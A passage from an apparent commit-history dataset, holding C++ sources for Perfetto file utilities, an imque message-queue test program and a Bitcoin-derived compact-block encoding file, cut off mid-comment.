static_cast<size_t>(UINT32_MAX)));\n ssize_t wr = PERFETTO_EINTR(\n write(fd, static_cast<const char*>(buf) + written, bytes_left));\n if (wr == 0)\n break;\n if (wr < 0)\n return wr;\n written += static_cast<size_t>(wr);\n }\n return static_cast<ssize_t>(written);\n}\n\nssize_t WriteAllHandle(PlatformHandle h, const void* buf, size_t count) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n DWORD wsize = 0;\n if (::WriteFile(h, buf, static_cast<DWORD>(count), &wsize, nullptr)) {\n return wsize;\n } else {\n return -1;\n }\n#else\n return WriteAll(h, buf, count);\n#endif\n}\n\nbool FlushFile(int fd) {\n PERFETTO_DCHECK(fd != 0);\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_LINUX) || \\\n PERFETTO_BUILDFLAG(PERFETTO_OS_ANDROID)\n return !PERFETTO_EINTR(fdatasync(fd));\n#elif PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n return !PERFETTO_EINTR(_commit(fd));\n#else\n return !PERFETTO_EINTR(fsync(fd));\n#endif\n}\n\nbool Mkdir(const std::string& path) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n return _mkdir(path.c_str()) == 0;\n#else\n return mkdir(path.c_str(), 0755) == 0;\n#endif\n}\n\nbool Rmdir(const std::string& path) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n return _rmdir(path.c_str()) == 0;\n#else\n return rmdir(path.c_str()) == 0;\n#endif\n}\n\nint CloseFile(int fd) {\n return close(fd);\n}\n\nScopedFile OpenFile(const std::string& path, int flags, FileOpenMode mode) {\n PERFETTO_DCHECK((flags & O_CREAT) == 0 || mode != kFileModeInvalid);\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n \/\/ Always use O_BINARY on Windows, to avoid silly EOL translations.\n ScopedFile fd(_open(path.c_str(), flags | O_BINARY, mode));\n#else\n \/\/ Always open a ScopedFile with O_CLOEXEC so we can safely fork and exec.\n ScopedFile fd(open(path.c_str(), flags | O_CLOEXEC, mode));\n#endif\n return fd;\n}\n\nbool FileExists(const std::string& path) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n return _access(path.c_str(), 0) == 0;\n#else\n return access(path.c_str(), F_OK) == 0;\n#endif\n}\n\n\/\/ Declared in base\/platform_handle.h.\nint ClosePlatformHandle(PlatformHandle handle) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n \/\/ Make the return value UNIX-style.\n return CloseHandle(handle) ? 0 : -1;\n#else\n return close(handle);\n#endif\n}\n\nbase::Status ListFilesRecursive(const std::string& dir_path,\n std::vector<std::string>& output) {\n std::string root_dir_path = dir_path;\n if (root_dir_path.back() == '\\\\') {\n root_dir_path.back() = '\/';\n } else if (root_dir_path.back() != '\/') {\n root_dir_path.push_back('\/');\n }\n\n \/\/ dir_queue contains full paths to the directories. The paths include the\n \/\/ root_dir_path at the beginning and the trailing slash at the end.\n std::deque<std::string> dir_queue;\n dir_queue.push_back(root_dir_path);\n\n while (!dir_queue.empty()) {\n const std::string cur_dir = std::move(dir_queue.front());\n dir_queue.pop_front();\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_NACL)\n return base::ErrStatus(\"ListFilesRecursive not supported yet\");\n#elif PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n std::string glob_path = cur_dir + \"*\";\n \/\/ + 1 because we also have to count the NULL terminator.\n if (glob_path.length() + 1 > MAX_PATH)\n return base::ErrStatus(\"Directory path %s is too long\", dir_path.c_str());\n WIN32_FIND_DATAA ffd;\n\n base::ScopedResource<HANDLE, CloseFindHandle, nullptr, false,\n base::PlatformHandleChecker>\n hFind(FindFirstFileA(glob_path.c_str(), &ffd));\n if (!hFind) {\n \/\/ For empty directories, there should be at least one entry '.'.\n \/\/ If FindFirstFileA returns INVALID_HANDLE_VALUE, this means directory\n \/\/ couldn't be accessed.\n return base::ErrStatus(\"Failed to open directory %s\", cur_dir.c_str());\n }\n do {\n if (strcmp(ffd.cFileName, \".\") == 0 || strcmp(ffd.cFileName, \"..\") == 0)\n continue;\n if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {\n std::string subdir_path = cur_dir + ffd.cFileName + '\/';\n dir_queue.push_back(subdir_path);\n } else {\n const std::string full_path = cur_dir + ffd.cFileName;\n PERFETTO_CHECK(full_path.length() > root_dir_path.length());\n output.push_back(full_path.substr(root_dir_path.length()));\n }\n } while (FindNextFileA(*hFind, &ffd));\n#else\n ScopedDir dir = ScopedDir(opendir(cur_dir.c_str()));\n if (!dir) {\n return base::ErrStatus(\"Failed to open directory %s\", cur_dir.c_str());\n }\n for (auto* dirent = readdir(dir.get()); dirent != nullptr;\n dirent = readdir(dir.get())) {\n if (strcmp(dirent->d_name, \".\") == 0 ||\n strcmp(dirent->d_name, \"..\") == 0) {\n continue;\n }\n if (dirent->d_type == DT_DIR) {\n dir_queue.push_back(cur_dir + dirent->d_name + '\/');\n } else if (dirent->d_type == DT_REG) {\n const std::string full_path = cur_dir + dirent->d_name;\n PERFETTO_CHECK(full_path.length() > root_dir_path.length());\n output.push_back(full_path.substr(root_dir_path.length()));\n }\n }\n#endif\n }\n return base::OkStatus();\n}\n\nstd::string GetFileExtension(const std::string& filename) {\n auto ext_idx = filename.rfind('.');\n if (ext_idx == std::string::npos)\n return std::string();\n return filename.substr(ext_idx);\n}\n\nbase::Optional<size_t> GetFileSize(const std::string& file_path) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n HANDLE file =\n CreateFileA(file_path.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr,\n OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);\n if (file == INVALID_HANDLE_VALUE) {\n return nullopt;\n }\n LARGE_INTEGER file_size;\n file_size.QuadPart = 0;\n BOOL ok = GetFileSizeEx(file, &file_size);\n CloseHandle(file);\n if (!ok) {\n return nullopt;\n }\n return static_cast<size_t>(file_size.QuadPart);\n#else\n base::ScopedFile fd(base::OpenFile(file_path, O_RDONLY | O_CLOEXEC));\n if (!fd) {\n return nullopt;\n }\n struct stat buf{};\n if (fstat(*fd, &buf) == -1) {\n return nullopt;\n }\n return static_cast<size_t>(buf.st_size);\n#endif\n}\n\n} \/\/ namespace base\n} \/\/ namespace perfetto\n<commit_msg>Fix chromium windows build am: d21ed9d314 am: a73d9a39da am: 2b5bba496b am: ebb9ca236d<commit_after>\/*\n * Copyright (C) 2018 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"perfetto\/ext\/base\/file_utils.h\"\n\n#include <sys\/stat.h>\n#include <sys\/types.h>\n\n#include <algorithm>\n#include <deque>\n#include <string>\n#include <vector>\n\n#include \"perfetto\/base\/build_config.h\"\n#include \"perfetto\/base\/logging.h\"\n#include \"perfetto\/base\/platform_handle.h\"\n#include \"perfetto\/base\/status.h\"\n#include \"perfetto\/ext\/base\/scoped_file.h\"\n#include \"perfetto\/ext\/base\/utils.h\"\n\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n#include <Windows.h>\n#include <direct.h>\n#include <io.h>\n#else\n#include <dirent.h>\n#include <unistd.h>\n#endif\n\nnamespace perfetto {\nnamespace base {\nnamespace {\nconstexpr size_t kBufSize = 2048;\n\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n\/\/ Wrap FindClose to: (1) make the return unix-style; (2) deal with stdcall.\nint CloseFindHandle(HANDLE h) {\n return FindClose(h) ? 0 : -1;\n}\n#endif\n\n} \/\/ namespace\n\nssize_t Read(int fd, void* dst, size_t dst_size) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n return _read(fd, dst, static_cast<unsigned>(dst_size));\n#else\n return PERFETTO_EINTR(read(fd, dst, dst_size));\n#endif\n}\n\nbool ReadFileDescriptor(int fd, std::string* out) {\n \/\/ Do not override existing data in string.\n size_t i = out->size();\n\n struct stat buf {};\n if (fstat(fd, &buf) != -1) {\n if (buf.st_size > 0)\n out->resize(i + static_cast<size_t>(buf.st_size));\n }\n\n ssize_t bytes_read;\n for (;;) {\n if (out->size() < i + kBufSize)\n out->resize(out->size() + kBufSize);\n\n bytes_read = Read(fd, &((*out)[i]), kBufSize);\n if (bytes_read > 0) {\n i += static_cast<size_t>(bytes_read);\n } else {\n out->resize(i);\n return bytes_read == 0;\n }\n }\n}\n\nbool ReadPlatformHandle(PlatformHandle h, std::string* out) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n \/\/ Do not override existing data in string.\n size_t i = out->size();\n\n for (;;) {\n if (out->size() < i + kBufSize)\n out->resize(out->size() + kBufSize);\n DWORD bytes_read = 0;\n auto res = ::ReadFile(h, &((*out)[i]), kBufSize, &bytes_read, nullptr);\n if (res && bytes_read > 0) {\n i += static_cast<size_t>(bytes_read);\n } else {\n out->resize(i);\n const bool is_eof = res && bytes_read == 0;\n auto err = res ? 0 : GetLastError();\n \/\/ The \"Broken pipe\" error on Windows is slighly different than Unix:\n \/\/ On Unix: a \"broken pipe\" error can happen only on the writer side. On\n \/\/ the reader there is no broken pipe, just a EOF.\n \/\/ On windows: the reader also sees a broken pipe error.\n \/\/ Here we normalize on the Unix behavior, treating broken pipe as EOF.\n return is_eof || err == ERROR_BROKEN_PIPE;\n }\n }\n#else\n return ReadFileDescriptor(h, out);\n#endif\n}\n\nbool ReadFileStream(FILE* f, std::string* out) {\n return ReadFileDescriptor(fileno(f), out);\n}\n\nbool ReadFile(const std::string& path, std::string* out) {\n base::ScopedFile fd = base::OpenFile(path, O_RDONLY);\n if (!fd)\n return false;\n\n return ReadFileDescriptor(*fd, out);\n}\n\nssize_t WriteAll(int fd, const void* buf, size_t count) {\n size_t written = 0;\n while (written < count) {\n \/\/ write() on windows takes an unsigned int size.\n uint32_t bytes_left = static_cast<uint32_t>(\n std::min(count - written, static_cast<size_t>(UINT32_MAX)));\n ssize_t wr = PERFETTO_EINTR(\n write(fd, static_cast<const char*>(buf) + written, bytes_left));\n if (wr == 0)\n break;\n if (wr < 0)\n return wr;\n written += static_cast<size_t>(wr);\n }\n return static_cast<ssize_t>(written);\n}\n\nssize_t WriteAllHandle(PlatformHandle h, const void* buf, size_t count) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n DWORD wsize = 0;\n if (::WriteFile(h, buf, static_cast<DWORD>(count), &wsize, nullptr)) {\n return wsize;\n } else {\n return -1;\n }\n#else\n return WriteAll(h, buf, count);\n#endif\n}\n\nbool FlushFile(int fd) {\n PERFETTO_DCHECK(fd != 0);\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_LINUX) || \\\n PERFETTO_BUILDFLAG(PERFETTO_OS_ANDROID)\n return !PERFETTO_EINTR(fdatasync(fd));\n#elif PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n return !PERFETTO_EINTR(_commit(fd));\n#else\n return !PERFETTO_EINTR(fsync(fd));\n#endif\n}\n\nbool Mkdir(const std::string& path) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n return _mkdir(path.c_str()) == 0;\n#else\n return mkdir(path.c_str(), 0755) == 0;\n#endif\n}\n\nbool Rmdir(const std::string& path) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n return _rmdir(path.c_str()) == 0;\n#else\n return rmdir(path.c_str()) == 0;\n#endif\n}\n\nint CloseFile(int fd) {\n return close(fd);\n}\n\nScopedFile OpenFile(const std::string& path, int flags, FileOpenMode mode) {\n PERFETTO_DCHECK((flags & O_CREAT) == 0 || mode != kFileModeInvalid);\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n \/\/ Always use O_BINARY on Windows, to avoid silly EOL translations.\n ScopedFile fd(_open(path.c_str(), flags | O_BINARY, mode));\n#else\n \/\/ Always open a ScopedFile with O_CLOEXEC so we can safely fork and exec.\n ScopedFile fd(open(path.c_str(), flags | O_CLOEXEC, mode));\n#endif\n return fd;\n}\n\nbool FileExists(const std::string& path) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n return _access(path.c_str(), 0) == 0;\n#else\n return access(path.c_str(), F_OK) == 0;\n#endif\n}\n\n\/\/ Declared in base\/platform_handle.h.\nint ClosePlatformHandle(PlatformHandle handle) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n \/\/ Make the return value UNIX-style.\n return CloseHandle(handle) ? 0 : -1;\n#else\n return close(handle);\n#endif\n}\n\nbase::Status ListFilesRecursive(const std::string& dir_path,\n std::vector<std::string>& output) {\n std::string root_dir_path = dir_path;\n if (root_dir_path.back() == '\\\\') {\n root_dir_path.back() = '\/';\n } else if (root_dir_path.back() != '\/') {\n root_dir_path.push_back('\/');\n }\n\n \/\/ dir_queue contains full paths to the directories. The paths include the\n \/\/ root_dir_path at the beginning and the trailing slash at the end.\n std::deque<std::string> dir_queue;\n dir_queue.push_back(root_dir_path);\n\n while (!dir_queue.empty()) {\n const std::string cur_dir = std::move(dir_queue.front());\n dir_queue.pop_front();\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_NACL)\n return base::ErrStatus(\"ListFilesRecursive not supported yet\");\n#elif PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n std::string glob_path = cur_dir + \"*\";\n \/\/ + 1 because we also have to count the NULL terminator.\n if (glob_path.length() + 1 > MAX_PATH)\n return base::ErrStatus(\"Directory path %s is too long\", dir_path.c_str());\n WIN32_FIND_DATAA ffd;\n\n base::ScopedResource<HANDLE, CloseFindHandle, nullptr, false,\n base::PlatformHandleChecker>\n hFind(FindFirstFileA(glob_path.c_str(), &ffd));\n if (!hFind) {\n \/\/ For empty directories, there should be at least one entry '.'.\n \/\/ If FindFirstFileA returns INVALID_HANDLE_VALUE, this means directory\n \/\/ couldn't be accessed.\n return base::ErrStatus(\"Failed to open directory %s\", cur_dir.c_str());\n }\n do {\n if (strcmp(ffd.cFileName, \".\") == 0 || strcmp(ffd.cFileName, \"..\") == 0)\n continue;\n if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {\n std::string subdir_path = cur_dir + ffd.cFileName + '\/';\n dir_queue.push_back(subdir_path);\n } else {\n const std::string full_path = cur_dir + ffd.cFileName;\n PERFETTO_CHECK(full_path.length() > root_dir_path.length());\n output.push_back(full_path.substr(root_dir_path.length()));\n }\n } while (FindNextFileA(*hFind, &ffd));\n#else\n ScopedDir dir = ScopedDir(opendir(cur_dir.c_str()));\n if (!dir) {\n return base::ErrStatus(\"Failed to open directory %s\", cur_dir.c_str());\n }\n for (auto* dirent = readdir(dir.get()); dirent != nullptr;\n dirent = readdir(dir.get())) {\n if (strcmp(dirent->d_name, \".\") == 0 ||\n strcmp(dirent->d_name, \"..\") == 0) {\n continue;\n }\n if (dirent->d_type == DT_DIR) {\n dir_queue.push_back(cur_dir + dirent->d_name + '\/');\n } else if (dirent->d_type == DT_REG) {\n const std::string full_path = cur_dir + dirent->d_name;\n PERFETTO_CHECK(full_path.length() > root_dir_path.length());\n output.push_back(full_path.substr(root_dir_path.length()));\n }\n }\n#endif\n }\n return base::OkStatus();\n}\n\nstd::string GetFileExtension(const std::string& filename) {\n auto ext_idx = filename.rfind('.');\n if (ext_idx == std::string::npos)\n return std::string();\n return filename.substr(ext_idx);\n}\n\nbase::Optional<size_t> GetFileSize(const std::string& file_path) {\n#if PERFETTO_BUILDFLAG(PERFETTO_OS_WIN)\n HANDLE file =\n CreateFileA(file_path.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr,\n OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);\n if (file == INVALID_HANDLE_VALUE) {\n return nullopt;\n }\n LARGE_INTEGER file_size;\n file_size.QuadPart = 0;\n BOOL ok = GetFileSizeEx(file, &file_size);\n CloseHandle(file);\n if (!ok) {\n return nullopt;\n }\n return static_cast<size_t>(file_size.QuadPart);\n#else\n base::ScopedFile fd(base::OpenFile(file_path, O_RDONLY | O_CLOEXEC));\n if (!fd) {\n return nullopt;\n }\n struct stat buf{};\n if (fstat(*fd, &buf) == -1) {\n return nullopt;\n }\n return static_cast<size_t>(buf.st_size);\n#endif\n}\n\n} \/\/ namespace base\n} \/\/ namespace perfetto\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <ipc_msgque.hh>\n#include <string.h>\n#include <stdlib.h>\n#include <string>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <unistd.h>\n\n#include <imque\/queue.hh>\n\nconst int CHILD_NUM = 200;\nconst int LOOP_COUNT = 400;\n\nvoid sigsegv_handler(int sig) {\n std::cerr << \"#\" << getpid() << \":\" << sig << std::endl;\n exit(1);\n}\n\nvoid gen_random_string(std::string& s, std::size_t size) {\n const char cs[] = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n s.resize(size);\n for(int i=0; i < size; i++) {\n s[i] = cs[rand() % strlen(cs)];\n }\n}\n\nvoid writer_start(msgque_t& que) {\n std::cout << \"# child(writer): \" << getpid() << std::endl;\n srand(time(NULL)+getpid());\n \n for(int i=0; i < LOOP_COUNT; i++) {\n unsigned size = (rand() % 128) + 3;\n std::string s;\n gen_random_string(s, size);\n \n if(que.push(s.c_str(), s.size()) == false) {\n std::cout << \"@ [\" << getpid() << \"] queue is full\" << std::endl;\n usleep(rand() % 300);\n } else {\n std::cout << \"@ [\" << getpid() << \"] write: \" << s << std::endl;\n }\n usleep(rand() % 400);\n }\n std::cout << \"# exit: \" << getpid() << std::endl;\n}\n\nvoid reader_start(msgque_t& que) {\n std::cout << \"# child(reader): \" << getpid() << std::endl;\n srand(time(NULL));\n usleep(10);\n \n for(int i=0; i < LOOP_COUNT*3.5; i++) {\n std::string s;\n \n if(que.pop(s) == false) {\n std::cout << \"@ [\" << getpid() << \"] queue is empty\" << std::endl;\n usleep(rand() % 200);\n } else {\n std::cout << \"@ [\" << getpid() << \"] read: \" << s << std::endl;\n }\n }\n std::cout << \"# exit: \" << getpid() << std::endl;\n}\n\nint main(int argc, char** argv) {\n msgque_t que(1024*32, 1024*1024*4);\n que.init();\n signal(SIGSEGV, sigsegv_handler);\n\n if(! que) {\n std::cerr << \"[ERROR] message queue initialization failed\" << std::endl;\n return 1;\n }\n\n for(int i=0; i < CHILD_NUM; i++) {\n if(fork() == 0) {\n if(i % 3 == 0) {\n reader_start(que);\n } else {\n writer_start(que);\n }\n return 0;\n }\n }\n\n waitid(P_ALL, 0, NULL, WEXITED);\n\n return 0;\n}\n<commit_msg>Queueクラスがある程度動くようになった<commit_after>#include <iostream>\n#include <ipc_msgque.hh>\n#include <imque\/queue.hh>\n#include <string.h>\n#include <stdlib.h>\n#include <string>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <unistd.h>\n\n#include <imque\/queue.hh>\n\nconst int CHILD_NUM = 200;\nconst int LOOP_COUNT = 400;\n\nvoid sigsegv_handler(int sig) {\n std::cerr << \"#\" << getpid() << \":\" << sig << std::endl;\n exit(1);\n}\n\nvoid gen_random_string(std::string& s, std::size_t size) {\n const char cs[] = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n s.resize(size);\n for(int i=0; i < size; i++) {\n s[i] = cs[rand() % strlen(cs)];\n }\n}\n\nvoid writer_start(msgque_t& que) {\n std::cout << \"# child(writer): \" << getpid() << std::endl;\n srand(time(NULL)+getpid());\n \n for(int i=0; i < LOOP_COUNT; i++) {\n unsigned size = (rand() % 128) + 3;\n std::string s;\n gen_random_string(s, size);\n \n if(que.push(s.c_str(), s.size()) == false) {\n std::cout << \"@ [\" << getpid() << \"] queue is full\" << std::endl;\n usleep(rand() % 300);\n } else {\n std::cout << \"@ [\" << getpid() << \"] write: \" << s << std::endl;\n }\n usleep(rand() % 400);\n }\n std::cout << \"# exit: \" << getpid() << std::endl;\n}\n\nvoid reader_start(msgque_t& que) {\n std::cout << \"# child(reader): \" << getpid() << std::endl;\n srand(time(NULL));\n usleep(10);\n \n for(int i=0; i < LOOP_COUNT*3.5; i++) {\n std::string s;\n \n if(que.pop(s) == false) {\n std::cout << \"@ [\" << getpid() << \"] queue is empty\" << std::endl;\n usleep(rand() % 200);\n } else {\n std::cout << \"@ [\" << getpid() << \"] read: \" << s << std::endl;\n }\n }\n std::cout << \"# exit: \" << getpid() << std::endl;\n}\n\nint main(int argc, char** argv) {\n imque::Queue que2(1024, 1024*1024);\n assert(que2);\n que2.init();\n \n int val = 111;\n que2.enq(&val, sizeof(int));\n std::cout << \"# enq\" << std::endl;\n\n size_t size;\n int* pval = (int*)que2.deq(size);\n std::cout << \"# deq\" << std::endl;\n std::cout << \"# \" << *pval << \", \" << size << std::endl;\n \n return 0;\n\n msgque_t que(1024*32, 1024*1024*4);\n que.init();\n signal(SIGSEGV, sigsegv_handler);\n\n if(! que) {\n std::cerr << \"[ERROR] message queue initialization failed\" << std::endl;\n return 1;\n }\n\n for(int i=0; i < CHILD_NUM; i++) {\n if(fork() == 0) {\n if(i % 3 == 0) {\n reader_start(que);\n } else {\n writer_start(que);\n }\n return 0;\n }\n }\n\n waitid(P_ALL, 0, NULL, WEXITED);\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2016 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include \"blockencodings.h\"\n#include \"chainparams.h\"\n#include \"consensus\/consensus.h\"\n#include \"consensus\/validation.h\"\n#include \"globals.h\"\n#include \"hash.h\"\n#include \"random.h\"\n#include \"streams.h\"\n#include \"txmempool.h\"\n#include \"util.h\"\n#include \"validation.h\"\n\n#include <unordered_map>\n\nCBlockHeaderAndShortTxIDs::CBlockHeaderAndShortTxIDs(const CBlock &block)\n : nonce(GetRand(std::numeric_limits<uint64_t>::max())),\n shorttxids(block.vtx.size() - 1), prefilledtxn(1), header(block) {\n FillShortTxIDSelector();\n \/\/ TODO: Use our mempool prior to block acceptance to predictively fill more\n \/\/ than just the coinbase.\n prefilledtxn[0] = {0, block.vtx[0]};\n for (size_t i = 1; i < block.vtx.size(); i++) {\n const CTransaction &tx = *block.vtx[i];\n shorttxids[i - 1] = GetShortID(tx.GetHash());\n }\n}\n\nvoid CBlockHeaderAndShortTxIDs::FillShortTxIDSelector() const {\n CDataStream stream(SER_NETWORK, PROTOCOL_VERSION);\n stream << header << nonce;\n CSHA256 hasher;\n hasher.Write((unsigned char *)&(*stream.begin()),\n stream.end() - stream.begin());\n uint256 shorttxidhash;\n hasher.Finalize(shorttxidhash.begin());\n shorttxidk0 = shorttxidhash.GetUint64(0);\n shorttxidk1 = shorttxidhash.GetUint64(1);\n}\n\nuint64_t CBlockHeaderAndShortTxIDs::GetShortID(const uint256 &txhash) const {\n static_assert(SHORTTXIDS_LENGTH == 6,\n \"shorttxids calculation assumes 6-byte shorttxids\");\n return SipHashUint256(shorttxidk0, shorttxidk1, txhash) & 0xffffffffffffL;\n}\n\nReadStatus PartiallyDownloadedBlock::InitData(\n const CBlockHeaderAndShortTxIDs &cmpctblock,\n const std::vector<std::pair<uint256, CTransactionRef>> &extra_txn) {\n if (cmpctblock.header.IsNull() ||\n (cmpctblock.shorttxids.empty() && cmpctblock.prefilledtxn.empty()))\n return READ_STATUS_INVALID;\n if (cmpctblock.shorttxids.size() + cmpctblock.prefilledtxn.size() >\n nMaxBlockSize \/ MIN_TRANSACTION_SIZE)\n return READ_STATUS_INVALID;\n\n assert(header.IsNull() && txn_available.empty());\n header = cmpctblock.header;\n txn_available.resize(cmpctblock.BlockTxCount());\n\n int32_t lastprefilledindex = -1;\n for (size_t i = 0; i < cmpctblock.prefilledtxn.size(); i++) {\n if (cmpctblock.prefilledtxn[i].tx->IsNull()) return READ_STATUS_INVALID;\n\n lastprefilledindex += cmpctblock.prefilledtxn[i].index +\n 1; \/\/ index is a uint16_t, so can't overflow here\n if (lastprefilledindex > std::numeric_limits<uint16_t>::max())\n return READ_STATUS_INVALID;\n if ((uint32_t)lastprefilledindex > cmpctblock.shorttxids.size() + i) {\n \/\/ If we are inserting a tx at an index greater than our full list\n \/\/ of shorttxids\n \/\/ plus the number of prefilled txn we've inserted, then we have txn\n \/\/ for which we\n \/\/ have neither a prefilled txn or a shorttxid!\n return READ_STATUS_INVALID;\n }\n txn_available[lastprefilledindex] = cmpctblock.prefilledtxn[i].tx;\n }\n prefilled_count = cmpctblock.prefilledtxn.size();\n\n \/\/ Calculate map of txids -> positions and check mempool to see what we have\n \/\/ (or don't). Because well-formed cmpctblock messages will have a\n \/\/ (relatively) uniform distribution of short IDs, any highly-uneven\n \/\/ distribution of elements can be safely treated as a READ_STATUS_FAILED.\n std::unordered_map<uint64_t, uint16_t> shorttxids(\n cmpctblock.shorttxids.size());\n uint16_t index_offset = 0;\n for (size_t i = 0; i < cmpctblock.shorttxids.size(); i++) {\n while (txn_available[i + index_offset])\n index_offset++;\n shorttxids[cmpctblock.shorttxids[i]] = i + index_offset;\n \/\/ To determine the chance that the number of entries in a bucket\n \/\/ exceeds N, we use the fact that the number of elements in a single\n \/\/ bucket is binomially distributed (with n = the number of shorttxids\n \/\/ S, and p = 1 \/ the number of buckets), that in the worst case the\n \/\/ number of buckets is equal to S (due to std::unordered_map having a\n \/\/ default load factor of 1.0), and that the chance for any bucket to\n \/\/ exceed N elements is at most buckets * (the chance that any given\n \/\/ bucket is above N elements). Thus: P(max_elements_per_bucket > N) <=\n \/\/ S * (1 - cdf(binomial(n=S,p=1\/S), N)). If we assume blocks of up to\n \/\/ 16000, allowing 12 elements per bucket should only fail once per ~1\n \/\/ million block transfers (per peer and connection).\n if (shorttxids.bucket_size(\n shorttxids.bucket(cmpctblock.shorttxids[i])) > 12)\n return READ_STATUS_FAILED;\n }\n \/\/ TODO: in the shortid-collision case, we should instead request both\n \/\/ transactions which collided. Falling back to full-block-request here is\n \/\/ overkill.\n if (shorttxids.size() != cmpctblock.shorttxids.size()) {\n \/\/ Short ID collision\n return READ_STATUS_FAILED;\n }\n\n std::vector<bool> have_txn(txn_available.size());\n {\n LOCK(pool->cs);\n const std::vector<std::pair<uint256, CTxMemPool::txiter>> &vTxHashes =\n pool->vTxHashes;\n for (size_t i = 0; i < vTxHashes.size(); i++) {\n uint64_t shortid = cmpctblock.GetShortID(vTxHashes[i].first);\n std::unordered_map<uint64_t, uint16_t>::iterator idit =\n shorttxids.find(shortid);\n if (idit != shorttxids.end()) {\n if (!have_txn[idit->second]) {\n txn_available[idit->second] =\n vTxHashes[i].second->GetSharedTx();\n have_txn[idit->second] = true;\n mempool_count++;\n } else {\n \/\/ If we find two mempool txn that match the short id, just\n \/\/ request it. This should be rare enough that the extra\n \/\/ bandwidth doesn't matter, but eating a round-trip due to\n \/\/ FillBlock failure would be annoying.\n if (txn_available[idit->second]) {\n txn_available[idit->second].reset();\n mempool_count--;\n }\n }\n }\n \/\/ Though ideally we'd continue scanning for the\n \/\/ two-txn-match-shortid case, the performance win of an early exit\n \/\/ here is too good to pass up and worth the extra risk.\n if (mempool_count == shorttxids.size()) break;\n }\n }\n\n for (size_t i = 0; i < extra_txn.size(); i++) {\n uint64_t shortid = cmpctblock.GetShortID(extra_txn[i].first);\n std::unordered_map<uint64_t, uint16_t>::iterator idit =\n shorttxids.find(shortid);\n if (idit != shorttxids.end()) {\n if (!have_txn[idit->second]) {\n txn_available[idit->second] = extra_txn[i].second;\n have_txn[idit->second] = true;\n mempool_count++;\n extra_count++;\n } else {\n \/\/ If we find two mempool\/extra txn that match the short id,\n \/\/ just request it. This should be rare enough that the extra\n \/\/ bandwidth doesn't matter, but eating a round-trip due to\n \/\/ FillBlock failure would be annoying. Note that we dont want\n \/\/ duplication between extra_txn and mempool to trigger this\n \/\/ case, so we compare hashes first.\n if (txn_available[idit->second] &&\n txn_available[idit->second]->GetHash() !=\n extra_txn[i].second->GetHash()) {\n txn_available[idit->second].reset();\n mempool_count--;\n extra_count--;\n }\n }\n }\n\n \/\/ Though ideally we'd continue scanning for the two-txn-match-shortid\n \/\/ case, the performance win of an early exit here is too good to pass\n \/\/ up and worth the extra risk.\n if (mempool_count == shorttxids.size()) break;\n }\n\n LogPrint(\"cmpctblock\", \"Initialized PartiallyDownloadedBlock for block %s \"\n \"using a cmpctblock of size %lu\\n\",\n cmpctblock.header.GetHash().ToString(),\n GetSerializeSize(cmpctblock, SER_NETWORK, PROTOCOL_VERSION));\n\n return READ_STATUS_OK;\n}\n\nbool PartiallyDownloadedBlock::IsTxAvailable(size_t index) const {\n assert(!header.IsNull());\n assert(index < txn_available.size());\n return txn_available[index] ? true : false;\n}\n\nReadStatus PartiallyDownloadedBlock::FillBlock(\n CBlock &block, const std::vector<CTransactionRef> &vtx_missing) {\n assert(!header.IsNull());\n uint256 hash = header.GetHash();\n block = header;\n block.vtx.resize(txn_available.size());\n\n size_t tx_missing_offset = 0;\n for (size_t i = 0; i < txn_available.size(); i++) {\n if (!txn_available[i]) {\n if (vtx_missing.size() <= tx_missing_offset)\n return READ_STATUS_INVALID;\n block.vtx[i] = vtx_missing[tx_missing_offset++];\n } else\n block.vtx[i] = std::move(txn_available[i]);\n }\n\n \/\/ Make sure we can't call FillBlock 